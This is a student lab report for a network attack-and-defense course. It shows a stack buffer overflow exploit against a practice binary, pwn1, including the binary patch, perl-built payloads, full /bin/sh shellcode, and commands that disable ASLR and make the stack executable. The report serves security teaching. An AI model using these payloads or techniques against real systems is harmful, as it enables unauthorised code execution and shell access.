20212808 2021-2022-2 《网络攻防实践》实践九报告

20212808 2021-2022-2 《网络攻防实践》实践九报告

1.知识点梳理与总结

1.1 实验目标

本次实践的对象是一个名为pwn1的linux可执行文件。

该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。

该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。

三个实践内容如下:

  • 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
  • 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
  • 注入一个自己制作的shellcode并运行这段shellcode。

2.实践过程

2.1 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。

  1. 使用objdump指令对pwn1进行反汇编
    objdump -d pwn1 | more
  • call 8048491 汇编指令:该指令调用位于8048491处的foo函数;对应机器指令是 e8 d7ffffffe8有跳转的意思
  • main函数中调用foo函数:对应机器指令是 e8 d7ffffff;d7ffffff为foo函数的地址偏移量,将其改为getshell地址的偏移量,就可以运行getshell函数。要调用getshell函数,就需要将d7ffffff改成getshell函数地址对应的补码,也就是得到getshsell-80484ba对应的补码即可。
  • 用windows计算器,计算47d-4ba可以得到补码c3ffffff,将call指令的目标地址从d7ffffff改为c3ffffff即可
  1. 使用vim修改pwn1
    输入:%!xxd,将显示模式转换为16进制模式
    输入/e8 d7,查找要修改的内容

再将其中的d7修改为c3

输入:%!xxd -r,转换16进制为原格式,:wq保存并退出

再次使用objdump查看修改结果

运行修改过后的代码,得到shell提示符#

2.2 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。

1. 用objdump -d pwn1命令反汇编

  • 我们的目标是触发函数getShell;该可执行文件正常运行是调用函数foo,但buffer的填充并不安全。因此,这个函数有Buffer overflow漏洞;
  • 从汇编代码中可知,代码中只预留了28(0x1c)字节的缓冲区,超出部分会造成溢出,首先覆盖EBP,之后覆盖EIP,字节大小共28+4+4=36,我们的目标是覆盖返回地址寄存器EIP
  • 函数main中的call调用函数foo,同时在堆栈上压上返回地址值:80484ae
    从前面的反汇编结果可以看到, getShell 的地址为 0x0804847d ,所以我们构造的参数就是 11111111222222223333333344444444\x7d\x84\x04\x08\x0a
  1. perlink来构造16进制字符串。perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
    注释: 关于Perl: Perl是一门解释型语言,不需要预编译,可以在命令行上直接使用。 使用输出重定向“>”将perl生成的字符串存储到文件input中。

  2. xxd input 来查看input文件中的内容是不是符号预期。

  3. 再将input通过管道符“|”当作pwn1的输入,然后进去getshell
    (cat input;cat) | ./pwn1

2.3 注入一个自己制作的shellcode并运行这段shellcode:

1. 准备一段shellcod
shellcode是一段机器指令
这段机器指令目的是威力获取一个交互式的shell(就像linux的shell或者像window下的cmd.exe)
以下实践使用该文章中生成的shellcode,如下
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\
2. 准备工作

execstack -s pwn1    //设置堆栈可执行
execstack -q pwn1    //查询文件的堆栈是否可执行
more /proc/sys/kernel/randomize_va_space
echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
more /proc/sys/kernel/randomize_va_space

3. 构造要注入的patload

  • Linux下有两种基本构造攻击 buf 的方法:
    retaddr+nop+shellcode 和 nop+shellcode+retaddr。
    因为 retaddr 在缓冲区的位置是固定的,shellcode 要不在它前面,要不在它后面。
    简单说缓冲区小就把 shellcode 放后边,缓冲区大就把 shellcode 放前边。
    结构为:nops+shellcode+retaddr。(另一个有错误)
    nop一为是了填充,二是作为“着陆区/滑行区”。
    我们猜的返回地址只要落在任何一个nop上,自然会滑到我们的shellcode。
    能够成功的结构为:anything+retaddr+nops+shellcode。

  • 构造的结构是anything+retaddr+nops+shellcode,其中shellcode的内容如下:

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\

  • 使用此命令构建字符串并保存到input_shellcode中,不确定的字节用 12 34h填充

perl -e 'print "A" x 32;print "\x1\x2\x3\x4\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00"' > input_shellcode

  • 打开终端注入以下的字符串:

(cat input_shellcode;cat) | ./pwn1

  • 打开另一终端,用下命令找pwn20192427的进程号:

ps -ef | grep pwn1

得到进程号:4655

  • 启动gdb调试这个进程

gdb
(gdb) attach 4655

  • 然后反汇编foo函数,查看返回指令(ret)的地址
disassemble foo
break *0x080484ae
 c


并在返回指令的地址处设置断点,再另外的一个终端按下回车,再使用c使得程序接着运行

  • 待程序运行到断点处,查看此时的esp寄存器的值,获得我们注入的字符串的地址
    info r esp

  • 使用如下的指令查看该地址附近数据

x/16x 0xffffd31c 
x/16x 0xffffd300 
x/16x 0xffffd2fc
x/16x 0xffffd17c

  • 从0xffffd15c开始观察,可以发现数据采用小端字节序,并且将返回地址改为ff ff d1 80就可以让程序执行Shellcode,这样一来\x1\x2\x3\x4就应该修改为\x80\xd1\xff\xff,于是我们便重新利用perl语言,将返回地址修改正确,并在最后加上回车(0x0a),然后重新运行程序。
perl -e 'print "A" x 32;print "\x80\xd1\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00\x0a"' > input_shellcode
(cat input_shellcode;cat) | ./pwn1

3.学习中遇到的问题及解决

问题1:实验二中(cat input;cat) | ./pwn1出错,不能进入getshell
问题1解决办法:
pwn1修改了,删除input和pwn1,重新拷贝一个,就好用了
问题2:用kali做实验3下载不下来perlink,去ubutun做时运行(cat input_shellcode;cat) | ./pwn1这句话的时候失败,说没有这个文件
问题2解决办法:
下载32位的运行库 ia32-libs ,直接安装即可

4.实践总结

经过本次实验理解了BOF原理,学会了怎么运行原本不可访问的代码片段、强行修改程序执行流以及注入运行任意代码。通过本次实验我对溢出攻击有了更加深刻的理解。在今后编写代码时应当注意边界条件、检查用户输入数据的正确性等细节问题。

posted @ 2022-05-09 22:33  20212808刘家兴  阅读(64)  评论(0编辑  收藏  举报